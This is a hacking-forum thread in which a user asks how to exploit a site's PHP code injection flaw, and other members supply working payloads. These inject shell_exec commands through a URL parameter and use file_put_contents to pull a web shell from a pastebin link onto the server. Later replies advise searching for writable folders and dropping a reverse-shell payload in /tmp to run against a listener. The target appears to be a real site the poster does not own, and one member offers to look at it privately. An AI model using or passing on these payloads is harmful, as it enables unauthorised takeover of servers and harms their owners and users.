

Forum:[Hack Forums](#)

Thread: [php code injection Vulnerability](#)

pishicat_Injector - June 17, 2018, 2:49 pm

hi all brother how are you ?

I have a site Vulnerability to php code injection & Remote Code Execution [RCE]

PHP Code

```
<?php
```

```
www.me/?module=power=';print(shell_exec("pwd")); $a='
```

PHP Code

```
<?php
```

```
www.me/?module=power=';print(shell_exec("ls")); $a='
```

how to inject this site and inject shell any good tut or help to do that ?

regards

? Soufian ? - June 17, 2018, 2:52 pm

Simply put your shell script on pastebin, then simply download & save the raw pastebin link content to a file through that vulnerability.

Basically this:

```
Code file_put_contents("shell.php", fopen("https://pastebin.com/raw/8uNmxbTv", 'r'));
```

Let me know if it worked out ;)

pishicat_Injector - June 17, 2018, 3:50 pm

(Jun 17, 2018 02:52 PM)? Soufian ? Wrote: [CITE](#) Simply put your shell script on pastebin, then simply download & save the raw pastebin link content to a file through that vulnerability.

Basically this:

```
Code file_put_contents("shell.php", fopen("https://pastebin.com/raw/8uNmxbTv", 'r'));
```

Let me know if it worked out ;)

Hi Sir ?

you mean I do like this

PHP Code

```
<?php
```

```
www.me/?module=power=';file_put_contents("shell.php", fopen("https://pastebin.com/kh9y5v21", 'r'));
```

I dont understand ?

pleas explan with site = www.xxxxx/?module=power=main

Nachfolger - June 17, 2018, 3:56 pm

(Jun 17, 2018 03:50 PM)pishicat_Injector Wrote: [\[CITE\]](#) Hi Sir ?

you mean I do like this

PHP Code

```
<?php
```

```
www.me/?module=power=';file_put_contents("shell.php", fopen("https://pastebin.com/kh9y5v21", 'r'))';
```

I dont understand ?

pleas explan with site = www.xxxxx/?module=power=main I think what he is showing you is how to copy a pastebin.com file and make a shell on the server.

Hooded Robin - June 17, 2018, 4:46 pm

yes, use the code injection to leverage file_put_contents() function call to download your php web shell or whatever payload you want and write it to the server in some writable path.

```
Code www.me/?module=power=';file_put_contents("/var/www/shell.php",  
fopen("https://pastebin.com/kh9y5v21", "r"))';
```

NOTE: You might need double quotes on the read attribute to avoid mangling the injection point Refer to the php manual online for more details on how the function call works if you dont get it...

You could also skip the web shell and just cram a reverse shell one liner in the shell_exec you got there...

? **Soufian ?** - June 17, 2018, 5:03 pm

(Jun 17, 2018 03:50 PM)pishicat_Injector Wrote: [\[CITE\]](#) Hi Sir ?

you mean I do like this

PHP Code

```
<?php
```

```
www.me/?module=power=';file_put_contents("shell.php", fopen("https://pastebin.com/kh9y5v21", 'r'))';
```

I dont understand ?

pleas explan with site = www.xxxxx/?module=power=main That link is indeed correct, but like Hooded Robin mentioned, try changing the path to "/var/www/shell.php" if that doesn't work, just try plain "shell.php" and try to locate the file once it has been created.

Also, your pastebin link isn't correct, it must be the Raw version.

Change <https://pastebin.com/kh9y5v21> to <https://pastebin.com/raw/kh9y5v21>

(Jun 17, 2018 03:56 PM)Nachfolger Wrote: [\[CITE\]](#) I think what he is showing you is how to copy a pastebin.com file and make a shell on the server.Yeps.

(Jun 17, 2018 04:46 PM)Hooded Robin Wrote: [\[CITE\]](#) yes, use the code injection to leverage file_put_contents() function call to download your php web shell or whatever payload you want and

write it to the server in some writable path.

```
Code www.me/?module=power=';file_put_contents("/var/www/shell.php",  
fopen("https://pastebin.com/kh9y5v21", "r"))';
```

NOTE: You might need double quotes on the read attribute to avoid mangling the injection point
Refer to the php manual online for more details on how the function call works if you dont get it...

You could also skip the web shell and just cram a reverse shell one liner in the shell_exec you got there...It should be the raw version, otherwise he'll get the entire pastebin layout around it as well.

pishicat_Injector - June 17, 2018, 5:07 pm

(Jun 17, 2018 04:46 PM)Hooded Robin Wrote: [\[CITE\]](#) yes, use the code injection to leverage file_put_contents() function call to download your php web shell or whatever payload you want and write it to the server in some writable path.

```
Code www.me/?module=power=';file_put_contents("/var/www/shell.php",  
fopen("https://pastebin.com/kh9y5v21", "r"))';
```

NOTE: You might need double quotes on the read attribute to avoid mangling the injection point
Refer to the php manual online for more details on how the function call works if you dont get it...

You could also skip the web shell and just cram a reverse shell one liner in the shell_exec you got there...

doesn't work sir can I pm you the site to see what problem is

regards

(Jun 17, 2018 02:52 PM)? Soufian ? Wrote: [\[CITE\]](#) Simply put your shell script on pastebin, then simply download & save the raw pastebin link content to a file through that vulnerability.

Basically this:

```
Code file_put_contents("shell.php", fopen("https://pastebin.com/raw/8uNmxbTv", 'r'));
```

Let me know if it worked out ;)

doesn't work sir can I pm you the site to see what problem is

regards

? Soufian ? - June 17, 2018, 5:11 pm

Alright PM it to me and I'll check it out. ;)

Hooded Robin - June 18, 2018, 6:46 am

Likely the base web path isn't writable (/var/www), recommend navigating the site to see if any other folders exist which might be writable and reachable like uploads or image folder paths.

If that doesn't work, You could try writing a payload to /tmp, then execute it from there (i.e. instead of downloading and writing a PHP shell to a web directory, you could download a compiled bin or python/perl/bash reverse shell payload and run it from /tmp and simply catch the shell with a listener on your side). Also, writing a test file to /tmp would also confirm the write action is at least being performed correctly, or 'ls -lua' to verify folder permissions....

pishicat_Injector - June 19, 2018, 3:17 pm

(Jun 18, 2018 06:46 AM)Hooded Robin Wrote: [\[CITE\]](#) Likely the base web path isn't writable (/var/www), recommend navigating the site to see if any other folders exist which might be writable and reachable like uploads or image folder paths.

If that doesn't work, You could try writing a payload to /tmp, then execute it from there (i.e. instead of downloading and writing a PHP shell to a web directory, you could download a compiled bin or python/perl/bash reverse shell payload and run it from /tmp and simply catch the shell with a listener on your side). Also, writing a test file to /tmp would also confirm the write action is at least being performed correctly, or 'ls -lua' to verify folder permissions....

yes it is, thx sir for all information

regards

(Jun 17, 2018 05:11 PM)? Soufian ? Wrote: [\[CITE\]](#) Alright PM it to me and I'll check it out. ;) thx sir for your help